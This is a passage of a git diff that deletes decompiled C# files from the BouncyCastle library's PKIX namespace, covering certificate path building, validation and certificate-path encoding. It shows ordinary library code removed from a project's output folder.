X509CertificateEntry(X509Certificate cert, IDictionary attributes) - : base(attributes) - { - this.cert = cert; - } - - public override bool Equals(object obj) - { - if (!(obj is X509CertificateEntry x509CertificateEntry)) - { - return false; - } - return cert.Equals(x509CertificateEntry.cert); - } - - public override int GetHashCode() - { - return ~cert.GetHashCode(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkix/CertStatus.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkix/CertStatus.cs deleted file mode 100644 index f627182..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkix/CertStatus.cs +++ /dev/null @@ -1,38 +0,0 @@ -using Org.BouncyCastle.Utilities.Date; - -namespace Org.BouncyCastle.Pkix; - -public class CertStatus -{ - public const int Unrevoked = 11; - - public const int Undetermined = 12; - - private int status = 11; - - private DateTimeObject revocationDate = null; - - public DateTimeObject RevocationDate - { - get - { - return revocationDate; - } - set - { - revocationDate = value; - } - } - - public int Status - { - get - { - return status; - } - set - { - status = value; - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkix/PkixAttrCertChecker.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkix/PkixAttrCertChecker.cs deleted file mode 100644 index 88c2b3d..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkix/PkixAttrCertChecker.cs +++ /dev/null @@ -1,14 +0,0 @@ -using System.Collections; -using Org.BouncyCastle.Utilities.Collections; -using Org.BouncyCastle.X509; - -namespace Org.BouncyCastle.Pkix; - -public abstract class PkixAttrCertChecker -{ - public abstract ISet GetSupportedExtensions(); - - public abstract void Check(IX509AttributeCertificate attrCert, PkixCertPath certPath, PkixCertPath holderCertPath, ICollection unresolvedCritExts); - - public abstract PkixAttrCertChecker Clone(); -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkix/PkixAttrCertPathBuilder.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkix/PkixAttrCertPathBuilder.cs deleted file mode 100644 index c88f253..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkix/PkixAttrCertPathBuilder.cs +++ /dev/null @@ -1,159 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Security.Certificates; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Collections; -using Org.BouncyCastle.X509; -using Org.BouncyCastle.X509.Store; - -namespace Org.BouncyCastle.Pkix; - -public class PkixAttrCertPathBuilder -{ - private Exception certPathException; - - public virtual PkixCertPathBuilderResult Build(PkixBuilderParameters pkixParams) - { - IX509Selector targetConstraints = pkixParams.GetTargetConstraints(); - if (!(targetConstraints is X509AttrCertStoreSelector)) - { - throw new PkixCertPathBuilderException("TargetConstraints must be an instance of " + typeof(X509AttrCertStoreSelector).FullName + " for " + typeof(PkixAttrCertPathBuilder).FullName + " class."); - } - ICollection collection; - try - { - collection = PkixCertPathValidatorUtilities.FindCertificates((X509AttrCertStoreSelector)targetConstraints, pkixParams.GetStores()); - } - catch (Exception exception) - { - throw new PkixCertPathBuilderException("Error finding target attribute certificate.", exception); - } - if (collection.Count == 0) - { - throw new PkixCertPathBuilderException("No attribute certificate found matching targetContraints."); - } - PkixCertPathBuilderResult pkixCertPathBuilderResult = null; - foreach (IX509AttributeCertificate item in collection) - { - X509CertStoreSelector x509CertStoreSelector = new X509CertStoreSelector(); - X509Name[] principals = item.Issuer.GetPrincipals(); - ISet set = new HashSet(); - for (int i = 0; i < principals.Length; i++) - { - try - { - x509CertStoreSelector.Subject = principals[i]; - set.AddAll(PkixCertPathValidatorUtilities.FindCertificates(x509CertStoreSelector, pkixParams.GetStores())); - } - catch (Exception exception2) - { - throw new PkixCertPathBuilderException("Public key certificate for attribute certificate cannot be searched.", exception2); - } - } - if (set.IsEmpty) - { - throw new PkixCertPathBuilderException("Public key certificate for attribute certificate cannot be found."); - } - IList tbvPath = Platform.CreateArrayList(); - foreach (X509Certificate item2 in set) - { - pkixCertPathBuilderResult = Build(item, item2, pkixParams, tbvPath); - if (pkixCertPathBuilderResult != null) - { - break; - } - } - if (pkixCertPathBuilderResult != null) - { - break; - } - } - if (pkixCertPathBuilderResult == null && certPathException != null) - { - throw new PkixCertPathBuilderException("Possible certificate chain could not be validated.", certPathException); - } - if (pkixCertPathBuilderResult == null && certPathException == null) - { - throw new PkixCertPathBuilderException("Unable to find certificate chain."); - } - return pkixCertPathBuilderResult; - } - - private PkixCertPathBuilderResult Build(IX509AttributeCertificate attrCert, X509Certificate tbvCert, PkixBuilderParameters pkixParams, IList tbvPath) - { - if (tbvPath.Contains(tbvCert)) - { - return null; - } - if (pkixParams.GetExcludedCerts().Contains(tbvCert)) - { - return null; - } - if (pkixParams.MaxPathLength != -1 && tbvPath.Count - 1 > pkixParams.MaxPathLength) - { - return null; - } - tbvPath.Add(tbvCert); - PkixCertPathBuilderResult pkixCertPathBuilderResult = null; - PkixAttrCertPathValidator pkixAttrCertPathValidator = new PkixAttrCertPathValidator(); - try - { - if (PkixCertPathValidatorUtilities.IsIssuerTrustAnchor(tbvCert, pkixParams.GetTrustAnchors())) - { - PkixCertPath certPath = new PkixCertPath(tbvPath); - PkixCertPathValidatorResult pkixCertPathValidatorResult; - try - { - pkixCertPathValidatorResult = pkixAttrCertPathValidator.Validate(certPath, pkixParams); - } - catch (Exception innerException) - { - throw new Exception("Certification path could not be validated.", innerException); - } - return new PkixCertPathBuilderResult(certPath, pkixCertPathValidatorResult.TrustAnchor, pkixCertPathValidatorResult.PolicyTree, pkixCertPathValidatorResult.SubjectPublicKey); - } - try - { - PkixCertPathValidatorUtilities.AddAdditionalStoresFromAltNames(tbvCert, pkixParams); - } - catch (CertificateParsingException innerException2) - { - throw new Exception("No additional X.509 stores can be added from certificate locations.", innerException2); - } - ISet set = new HashSet(); - try - { - set.AddAll(PkixCertPathValidatorUtilities.FindIssuerCerts(tbvCert, pkixParams)); - } - catch (Exception innerException3) - { - throw new Exception("Cannot find issuer certificate for certificate in certification path.", innerException3); - } - if (set.IsEmpty) - { - throw new Exception("No issuer certificate for certificate in certification path found."); - } - foreach (X509Certificate item in set) - { - if (!PkixCertPathValidatorUtilities.IsSelfIssued(item)) - { - pkixCertPathBuilderResult = Build(attrCert, item, pkixParams, tbvPath); - if (pkixCertPathBuilderResult != null) - { - break; - } - } - } - } - catch (Exception innerException4) - { - certPathException = new Exception("No valid certification path could be build.", innerException4); - } - if (pkixCertPathBuilderResult == null) - { - tbvPath.Remove(tbvCert); - } - return pkixCertPathBuilderResult; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkix/PkixAttrCertPathValidator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkix/PkixAttrCertPathValidator.cs deleted file mode 100644 index 9c37667..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkix/PkixAttrCertPathValidator.cs +++ /dev/null @@ -1,37 +0,0 @@ -using System; -using Org.BouncyCastle.X509; -using Org.BouncyCastle.X509.Store; - -namespace Org.BouncyCastle.Pkix; - -public class PkixAttrCertPathValidator -{ - public virtual PkixCertPathValidatorResult Validate(PkixCertPath certPath, PkixParameters pkixParams) - { - IX509Selector targetConstraints = pkixParams.GetTargetConstraints(); - if (!(targetConstraints is X509AttrCertStoreSelector)) - { - throw new ArgumentException("TargetConstraints must be an instance of " + typeof(X509AttrCertStoreSelector).FullName, "pkixParams"); - } - IX509AttributeCertificate attributeCert = ((X509AttrCertStoreSelector)targetConstraints).AttributeCert; - PkixCertPath holderCertPath = Rfc3281CertPathUtilities.ProcessAttrCert1(attributeCert, pkixParams); - PkixCertPathValidatorResult result = Rfc3281CertPathUtilities.ProcessAttrCert2(certPath, pkixParams); - X509Certificate x509Certificate = (X509Certificate)certPath.Certificates[0]; - Rfc3281CertPathUtilities.ProcessAttrCert3(x509Certificate, pkixParams); - Rfc3281CertPathUtilities.ProcessAttrCert4(x509Certificate, pkixParams); - Rfc3281CertPathUtilities.ProcessAttrCert5(attributeCert, pkixParams); - Rfc3281CertPathUtilities.ProcessAttrCert7(attributeCert, certPath, holderCertPath, pkixParams); - Rfc3281CertPathUtilities.AdditionalChecks(attributeCert, pkixParams); - DateTime validCertDateFromValidityModel; - try - { - validCertDateFromValidityModel = PkixCertPathValidatorUtilities.GetValidCertDateFromValidityModel(pkixParams, null, -1); - } - catch (Exception cause) - { - throw new PkixCertPathValidatorException("Could not get validity date from attribute certificate.", cause); - } - Rfc3281CertPathUtilities.CheckCrls(attributeCert, pkixParams, x509Certificate, validCertDateFromValidityModel, certPath.Certificates); - return result; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkix/PkixBuilderParameters.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkix/PkixBuilderParameters.cs deleted file mode 100644 index 10ced03..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkix/PkixBuilderParameters.cs +++ /dev/null @@ -1,90 +0,0 @@ -using System.Text; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Collections; -using Org.BouncyCastle.X509.Store; - -namespace Org.BouncyCastle.Pkix; - -public class PkixBuilderParameters : PkixParameters -{ - private int maxPathLength = 5; - - private ISet excludedCerts = new HashSet(); - - public virtual int MaxPathLength - { - get - { - return maxPathLength; - } - set - { - if (value < -1) - { - throw new InvalidParameterException("The maximum path length parameter can not be less than -1."); - } - maxPathLength = value; - } - } - - public static PkixBuilderParameters GetInstance(PkixParameters pkixParams) - { - PkixBuilderParameters pkixBuilderParameters = new PkixBuilderParameters(pkixParams.GetTrustAnchors(), new X509CertStoreSelector(pkixParams.GetTargetCertConstraints())); - pkixBuilderParameters.SetParams(pkixParams); - return pkixBuilderParameters; - } - - public PkixBuilderParameters(ISet trustAnchors, IX509Selector targetConstraints) - : base(trustAnchors) - { - SetTargetCertConstraints(targetConstraints); - } - - public virtual ISet GetExcludedCerts() - { - return new HashSet(excludedCerts); - } - - public virtual void SetExcludedCerts(ISet excludedCerts) - { - if (excludedCerts == null) - { - excludedCerts = new HashSet(); - } - else - { - this.excludedCerts = new HashSet(excludedCerts); - } - } - - protected override void SetParams(PkixParameters parameters) - { - base.SetParams(parameters); - if (parameters is PkixBuilderParameters) - { - PkixBuilderParameters pkixBuilderParameters = (PkixBuilderParameters)parameters; - maxPathLength = pkixBuilderParameters.maxPathLength; - excludedCerts = new HashSet(pkixBuilderParameters.excludedCerts); - } - } - - public override object Clone() - { - PkixBuilderParameters pkixBuilderParameters = new PkixBuilderParameters(GetTrustAnchors(), GetTargetCertConstraints()); - pkixBuilderParameters.SetParams(this); - return pkixBuilderParameters; - } - - public override string ToString() - { - string newLine = Platform.NewLine; - StringBuilder stringBuilder = new StringBuilder(); - stringBuilder.Append("PkixBuilderParameters [" + newLine); - stringBuilder.Append(base.ToString()); - stringBuilder.Append(" Maximum Path Length: "); - stringBuilder.Append(MaxPathLength); - stringBuilder.Append(newLine + "]" + newLine); - return stringBuilder.ToString(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkix/PkixCertPath.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkix/PkixCertPath.cs deleted file mode 100644 index 8409b85..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkix/PkixCertPath.cs +++ /dev/null @@ -1,263 +0,0 @@ -using System; -using System.Collections; -using System.IO; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Pkcs; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.OpenSsl; -using Org.BouncyCastle.Security.Certificates; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Collections; -using Org.BouncyCastle.X509; - -namespace Org.BouncyCastle.Pkix; - -public class PkixCertPath -{ - internal static readonly IList certPathEncodings; - - private readonly IList certificates; - - public virtual IEnumerable Encodings => new EnumerableProxy(certPathEncodings); - - public virtual IList Certificates => CollectionUtilities.ReadOnly(certificates); - - static PkixCertPath() - { - IList list = Platform.CreateArrayList(); - list.Add("PkiPath"); - list.Add("PEM"); - list.Add("PKCS7"); - certPathEncodings = CollectionUtilities.ReadOnly(list); - } - - private static IList SortCerts(IList certs) - { - if (certs.Count < 2) - { - return certs; - } - X509Name issuerDN = ((X509Certificate)certs[0]).IssuerDN; - bool flag = true; - for (int i = 1; i != certs.Count; i++) - { - X509Certificate x509Certificate = (X509Certificate)certs[i]; - if (issuerDN.Equivalent(x509Certificate.SubjectDN, inOrder: true)) - { - issuerDN = ((X509Certificate)certs[i]).IssuerDN; - continue; - } - flag = false; - break; - } - if (flag) - { - return certs; - } - IList list = Platform.CreateArrayList(certs.Count); - IList result = Platform.CreateArrayList(certs); - for (int j = 0; j < certs.Count; j++) - { - X509Certificate x509Certificate2 = (X509Certificate)certs[j]; - bool flag2 = false; - X509Name subjectDN = x509Certificate2.SubjectDN; - foreach (X509Certificate cert in certs) - { - if (cert.IssuerDN.Equivalent(subjectDN, inOrder: true)) - { - flag2 = true; - break; - } - } - if (!flag2) - { - list.Add(x509Certificate2); - certs.RemoveAt(j); - } - } - if (list.Count > 1) - { - return result; - } - for (int k = 0; k != list.Count; k++) - { - issuerDN = ((X509Certificate)list[k]).IssuerDN; - for (int l = 0; l < certs.Count; l++) - { - X509Certificate x509Certificate4 = (X509Certificate)certs[l]; - if (issuerDN.Equivalent(x509Certificate4.SubjectDN, inOrder: true)) - { - list.Add(x509Certificate4); - certs.RemoveAt(l); - break; - } - } - } - if (certs.Count > 0) - { - return result; - } - return list; - } - - public PkixCertPath(ICollection certificates) - { - this.certificates = SortCerts(Platform.CreateArrayList(certificates)); - } - - public PkixCertPath(Stream inStream) - : this(inStream, "PkiPath") - { - } - - public PkixCertPath(Stream inStream, string encoding) - { - string text = Platform.ToUpperInvariant(encoding); - IList list; - try - { - if (text.Equals(Platform.ToUpperInvariant("PkiPath"))) - { - Asn1InputStream asn1InputStream = new Asn1InputStream(inStream); - Asn1Object asn1Object = asn1InputStream.ReadObject(); - if (!(asn1Object is Asn1Sequence)) - { - throw new CertificateException("input stream does not contain a ASN1 SEQUENCE while reading PkiPath encoded data to load CertPath"); - } - list = Platform.CreateArrayList(); - foreach (Asn1Encodable item in (Asn1Sequence)asn1Object) - { - byte[] encoded = item.GetEncoded("DER"); - Stream inStream2 = new MemoryStream(encoded, writable: false); - list.Insert(0, new X509CertificateParser().ReadCertificate(inStream2)); - } - } - else - { - if (!text.Equals("PKCS7") && !text.Equals("PEM")) - { - throw new CertificateException("unsupported encoding: " + encoding); - } - list = Platform.CreateArrayList(new X509CertificateParser().ReadCertificates(inStream)); - } - } - catch (IOException ex) - { - throw new CertificateException("IOException throw while decoding CertPath:\n" + ex.ToString()); - } - certificates = SortCerts(list); - } - - public override bool Equals(object obj) - { - if (this == obj) - { - return true; - } - if (!(obj is PkixCertPath pkixCertPath)) - { - return false; - } - IList list = Certificates; - IList list2 = pkixCertPath.Certificates; - if (list.Count != list2.Count) - { - return false; - } - IEnumerator enumerator = list.GetEnumerator(); - IEnumerator enumerator2 = list.GetEnumerator(); - while (enumerator.MoveNext()) - { - enumerator2.MoveNext(); - if (!object.Equals(enumerator.Current, enumerator2.Current)) - { - return false; - } - } - return true; - } - - public override int GetHashCode() - { - return Certificates.GetHashCode(); - } - - public virtual byte[] GetEncoded() - { - foreach (object encoding in Encodings) - { - if (encoding is string) - { - return GetEncoded((string)encoding); - } - } - return null; - } - - public virtual byte[] GetEncoded(string encoding) - { - if (Platform.EqualsIgnoreCase(encoding, "PkiPath")) - { - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - for (int num = certificates.Count - 1; num >= 0; num--) - { - asn1EncodableVector.Add(ToAsn1Object((X509Certificate)certificates[num])); - } - return ToDerEncoded(new DerSequence(asn1EncodableVector)); - } - if (Platform.EqualsIgnoreCase(encoding, "PKCS7")) - { - ContentInfo contentInfo = new ContentInfo(PkcsObjectIdentifiers.Data, null); - Asn1EncodableVector asn1EncodableVector2 = new Asn1EncodableVector(); - for (int i = 0; i != certificates.Count; i++) - { - asn1EncodableVector2.Add(ToAsn1Object((X509Certificate)certificates[i])); - } - SignedData content = new SignedData(new DerInteger(1), new DerSet(), contentInfo, new DerSet(asn1EncodableVector2), null, new DerSet()); - return ToDerEncoded(new ContentInfo(PkcsObjectIdentifiers.SignedData, content)); - } - if (Platform.EqualsIgnoreCase(encoding, "PEM")) - { - MemoryStream memoryStream = new MemoryStream(); - PemWriter pemWriter = new PemWriter(new StreamWriter(memoryStream)); - try - { - for (int j = 0; j != certificates.Count; j++) - { - pemWriter.WriteObject(certificates[j]); - } - Platform.Dispose(pemWriter.Writer); - } - catch (Exception) - { - throw new CertificateEncodingException("can't encode certificate for PEM encoded path"); - } - return memoryStream.ToArray(); - } - throw new CertificateEncodingException("unsupported encoding: " + encoding); - } - - private Asn1Object ToAsn1Object(X509Certificate cert) - { - try - { - return Asn1Object.FromByteArray(cert.GetEncoded()); - } - catch (Exception e) - { - throw new CertificateEncodingException("Exception while encoding certificate", e); - } - } - - private byte[] ToDerEncoded(Asn1Encodable obj) - { - try - { - return obj.GetEncoded("DER"); - } - catch (IOException e) - { - throw new CertificateEncodingException("Exception thrown", e); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkix/PkixCertPathBuilder.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkix/PkixCertPathBuilder.cs deleted file mode 100644 index fcf7b20..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkix/PkixCertPathBuilder.cs +++ /dev/null @@ -1,137 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Security.Certificates; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Collections; -using Org.BouncyCastle.X509; -using Org.BouncyCastle.X509.Store; - -namespace Org.BouncyCastle.Pkix; - -public class PkixCertPathBuilder -{ - private Exception certPathException; - - public virtual PkixCertPathBuilderResult Build(PkixBuilderParameters pkixParams) - { - IX509Selector targetCertConstraints = pkixParams.GetTargetCertConstraints(); - if (!(targetCertConstraints is X509CertStoreSelector)) - { - throw new PkixCertPathBuilderException("TargetConstraints must be an instance of " + typeof(X509CertStoreSelector).FullName + " for " + Platform.GetTypeName(this) + " class."); - } - ISet set = new HashSet(); - try - { - set.AddAll(PkixCertPathValidatorUtilities.FindCertificates((X509CertStoreSelector)targetCertConstraints, pkixParams.GetStores())); - } - catch (Exception exception) - { - throw new PkixCertPathBuilderException("Error finding target certificate.", exception); - } - if (set.IsEmpty) - { - throw new PkixCertPathBuilderException("No certificate found matching targetContraints."); - } - PkixCertPathBuilderResult pkixCertPathBuilderResult = null; - IList tbvPath = Platform.CreateArrayList(); - foreach (X509Certificate item in set) - { - pkixCertPathBuilderResult = Build(item, pkixParams, tbvPath); - if (pkixCertPathBuilderResult != null) - { - break; - } - } - if (pkixCertPathBuilderResult == null && certPathException != null) - { - throw new PkixCertPathBuilderException(certPathException.Message, certPathException.InnerException); - } - if (pkixCertPathBuilderResult == null && certPathException == null) - { - throw new PkixCertPathBuilderException("Unable to find certificate chain."); - } - return pkixCertPathBuilderResult; - } - - protected virtual PkixCertPathBuilderResult Build(X509Certificate tbvCert, PkixBuilderParameters pkixParams, IList tbvPath) - { - if (tbvPath.Contains(tbvCert)) - { - return null; - } - if (pkixParams.GetExcludedCerts().Contains(tbvCert)) - { - return null; - } - if (pkixParams.MaxPathLength != -1 && tbvPath.Count - 1 > pkixParams.MaxPathLength) - { - return null; - } - tbvPath.Add(tbvCert); - PkixCertPathBuilderResult pkixCertPathBuilderResult = null; - PkixCertPathValidator pkixCertPathValidator = new PkixCertPathValidator(); - try - { - if (PkixCertPathValidatorUtilities.IsIssuerTrustAnchor(tbvCert, pkixParams.GetTrustAnchors())) - { - PkixCertPath pkixCertPath = null; - try - { - pkixCertPath = new PkixCertPath(tbvPath); - } - catch (Exception innerException) - { - throw new Exception("Certification path could not be constructed from certificate list.", innerException); - } - PkixCertPathValidatorResult pkixCertPathValidatorResult = null; - try - { - pkixCertPathValidatorResult = pkixCertPathValidator.Validate(pkixCertPath, pkixParams); - } - catch (Exception innerException2) - { - throw new Exception("Certification path could not be validated.", innerException2); - } - return new PkixCertPathBuilderResult(pkixCertPath, pkixCertPathValidatorResult.TrustAnchor, pkixCertPathValidatorResult.PolicyTree, pkixCertPathValidatorResult.SubjectPublicKey); - } - try - { - PkixCertPathValidatorUtilities.AddAdditionalStoresFromAltNames(tbvCert, pkixParams); - } - catch (CertificateParsingException innerException3) - { - throw new Exception("No additiontal X.509 stores can be added from certificate locations.", innerException3); - } - HashSet hashSet = new HashSet(); - try - { - hashSet.AddAll(PkixCertPathValidatorUtilities.FindIssuerCerts(tbvCert, pkixParams)); - } - catch (Exception innerException4) - { - throw new Exception("Cannot find issuer certificate for certificate in certification path.", innerException4); - } - if (hashSet.IsEmpty) - { - throw new Exception("No issuer certificate for certificate in certification path found."); - } - foreach (X509Certificate item in hashSet) - { - pkixCertPathBuilderResult = Build(item, pkixParams, tbvPath); - if (pkixCertPathBuilderResult != null) - { - break; - } - } - } - catch (Exception ex) - { - certPathException = ex; - } - if (pkixCertPathBuilderResult == null) - { - tbvPath.Remove(tbvCert); - } - return pkixCertPathBuilderResult; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkix/PkixCertPathBuilderException.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkix/PkixCertPathBuilderException.cs deleted file mode 100644 index 6855301..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkix/PkixCertPathBuilderException.cs +++ /dev/null @@ -1,22 +0,0 @@ -using System; -using Org.BouncyCastle.Security; - -namespace Org.BouncyCastle.Pkix; - -[Serializable] -public class PkixCertPathBuilderException : GeneralSecurityException -{ - public PkixCertPathBuilderException() - { - } - - public PkixCertPathBuilderException(string message) - : base(message) - { - } - - public PkixCertPathBuilderException(string message, Exception exception) - : base(message, exception) - { - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkix/PkixCertPathBuilderResult.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkix/PkixCertPathBuilderResult.cs deleted file mode 100644 index fe97b27..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkix/PkixCertPathBuilderResult.cs +++ /dev/null @@ -1,32 +0,0 @@ -using System; -using System.Text; -using Org.BouncyCastle.Crypto; - -namespace Org.BouncyCastle.Pkix; - -public class PkixCertPathBuilderResult : PkixCertPathValidatorResult -{ - private PkixCertPath certPath; - - public PkixCertPath CertPath => certPath; - - public PkixCertPathBuilderResult(PkixCertPath certPath, TrustAnchor trustAnchor, PkixPolicyNode policyTree, AsymmetricKeyParameter subjectPublicKey) - : base(trustAnchor, policyTree, subjectPublicKey) - { - if (certPath == null) - { - throw new ArgumentNullException("certPath"); - } - this.certPath = certPath; - } - - public override string ToString() - { - StringBuilder stringBuilder = new StringBuilder(); - stringBuilder.Append("SimplePKIXCertPathBuilderResult: [\n"); - stringBuilder.Append(" Certification Path: ").Append(CertPath).Append('\n'); - stringBuilder.Append(" Trust Anchor: ").Append(base.TrustAnchor.TrustedCert.IssuerDN.ToString()).Append('\n'); - stringBuilder.Append(" Subject Public Key: ").Append(base.SubjectPublicKey).Append("\n]"); - return stringBuilder.ToString(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkix/PkixCertPathChecker.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkix/PkixCertPathChecker.cs deleted file mode 100644 index 04cf6b6..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkix/PkixCertPathChecker.cs +++ /dev/null @@ -1,20 +0,0 @@ -using Org.BouncyCastle.Utilities.Collections; -using Org.BouncyCastle.X509; - -namespace Org.BouncyCastle.Pkix; - -public abstract class PkixCertPathChecker -{ - public abstract void Init(bool forward); - - public abstract bool IsForwardCheckingSupported(); - - public abstract ISet GetSupportedExtensions(); - - public abstract void Check(X509Certificate cert, ISet unresolvedCritExts); - - public virtual object Clone() - { - return MemberwiseClone(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkix/PkixCertPathValidator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkix/PkixCertPathValidator.cs deleted file mode 100644 index 6e906f6..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Pkix/PkixCertPathValidator.cs +++ /dev/null @@ -1,215 +0,0 @@ -using System; -using System.Collections; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Security.Certificates; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.Utilities.Collections; -using Org.BouncyCastle.X509; -using Org.BouncyCastle.X509.Store; - -namespace Org.BouncyCastle.Pkix; - -public class PkixCertPathValidator -{ - public virtual PkixCertPathValidatorResult Validate(PkixCertPath certPath, PkixParameters paramsPkix) - { - if (paramsPkix.GetTrustAnchors() == null) - { - throw new ArgumentException("trustAnchors is null, this is not allowed for certification path validation.", "parameters"); - } - IList certificates = certPath.Certificates; - int count = certificates.Count; - if (certificates.Count == 0) - { - throw new PkixCertPathValidatorException("Certification path is empty.", null, certPath, 0); - } - ISet initialPolicies = paramsPkix.GetInitialPolicies(); - TrustAnchor trustAnchor; - try - { - trustAnchor = PkixCertPathValidatorUtilities.FindTrustAnchor((X509Certificate)certificates[certificates.Count - 1], paramsPkix.GetTrustAnchors()); - if (trustAnchor == null) - { - throw new PkixCertPathValidatorException("Trust anchor for certification path not found.", null, certPath, -1); - } - CheckCertificate(trustAnchor.TrustedCert); - } - catch (Exception ex) - { - throw new PkixCertPathValidatorException(ex.Message, ex.InnerException, certPath, certificates.Count - 1); - } - int num = 0; - IList[] array = new IList[count + 1]; - for (int i = 0; i < array.Length; i++) - { - array[i] = Platform.CreateArrayList(); - } - ISet set = new HashSet(); - set.Add(Rfc3280CertPathUtilities.ANY_POLICY); - PkixPolicyNode pkixPolicyNode = new PkixPolicyNode(Platform.CreateArrayList(), 0, set, null, new HashSet(), Rfc3280CertPathUtilities.ANY_POLICY, critical: false); - array[0].Add(pkixPolicyNode); - PkixNameConstraintValidator nameConstraintValidator = new PkixNameConstraintValidator(); - ISet acceptablePolicies = new HashSet(); - int explicitPolicy = ((!paramsPkix.IsExplicitPolicyRequired) ? (count + 1) : 0); - int inhibitAnyPolicy = ((!paramsPkix.IsAnyPolicyInhibited) ? (count + 1) : 0); - int policyMapping = ((!paramsPkix.IsPolicyMappingInhibited) ? (count + 1) : 0); - X509Certificate x509Certificate = trustAnchor.TrustedCert; - X509Name workingIssuerName; - AsymmetricKeyParameter asymmetricKeyParameter; - try - { - if (x509Certificate != null) - { - workingIssuerName = x509Certificate.SubjectDN; - asymmetricKeyParameter = x509Certificate.GetPublicKey(); - } - else - { - workingIssuerName = new X509Name(trustAnchor.CAName); - asymmetricKeyParameter = trustAnchor.CAPublicKey; - } - } - catch (ArgumentException cause) - { - throw new PkixCertPathValidatorException("Subject of trust anchor could not be (re)encoded.", cause, certPath, -1); - } - try - { - PkixCertPathValidatorUtilities.GetAlgorithmIdentifier(asymmetricKeyParameter); - } - catch (PkixCertPathValidatorException cause2) - { - throw new PkixCertPathValidatorException("Algorithm identifier of public key of trust anchor could not be read.", cause2, certPath, -1); - } - int maxPathLength = count; - X509CertStoreSelector targetCertConstraints = paramsPkix.GetTargetCertConstraints(); - if (targetCertConstraints != null && !targetCertConstraints.Match((X509Certificate)certificates[0])) - { - throw new PkixCertPathValidatorException("Target certificate in certification path does not match targetConstraints.", null, certPath, 0); - } - IList certPathCheckers = paramsPkix.GetCertPathCheckers(); - IEnumerator enumerator = certPathCheckers.GetEnumerator(); - while (enumerator.MoveNext()) - { - ((PkixCertPathChecker)enumerator.Current).Init(forward: false); - } - X509Certificate x509Certificate2 = null; - for (num = certificates.Count - 1; num >= 0; num--) - { - int num2 = count - num; - x509Certificate2 = (X509Certificate)certificates[num]; - try - { - CheckCertificate(x509Certificate2); - } - catch (Exception ex2) - { - throw new PkixCertPathValidatorException(ex2.Message, ex2.InnerException, certPath, num); - } - Rfc3280CertPathUtilities.ProcessCertA(certPath, paramsPkix, num, asymmetricKeyParameter, workingIssuerName, x509Certificate); - Rfc3280CertPathUtilities.ProcessCertBC(certPath, num, nameConstraintValidator); - pkixPolicyNode = Rfc3280CertPathUtilities.ProcessCertD(certPath, num, acceptablePolicies, pkixPolicyNode, array, inhibitAnyPolicy); - pkixPolicyNode = Rfc3280CertPathUtilities.ProcessCertE(certPath, num, pkixPolicyNode); - Rfc3280CertPathUtilities.ProcessCertF(certPath, num, pkixPolicyNode, explicitPolicy); - if (num2 != count) - { - if (x509Certificate2 != null && x509Certificate2.Version == 1) - { - if (num2 != 1 || !x509Certificate2.Equals(trustAnchor.TrustedCert)) - { - throw new PkixCertPathValidatorException("Version 1 certificates can't be used as CA ones.", null, certPath, num); - } - } - else - { - Rfc3280CertPathUtilities.PrepareNextCertA(certPath, num); - pkixPolicyNode = Rfc3280CertPathUtilities.PrepareCertB(certPath, num, array, pkixPolicyNode, policyMapping); - Rfc3280CertPathUtilities.PrepareNextCertG(certPath, num, nameConstraintValidator); - explicitPolicy = 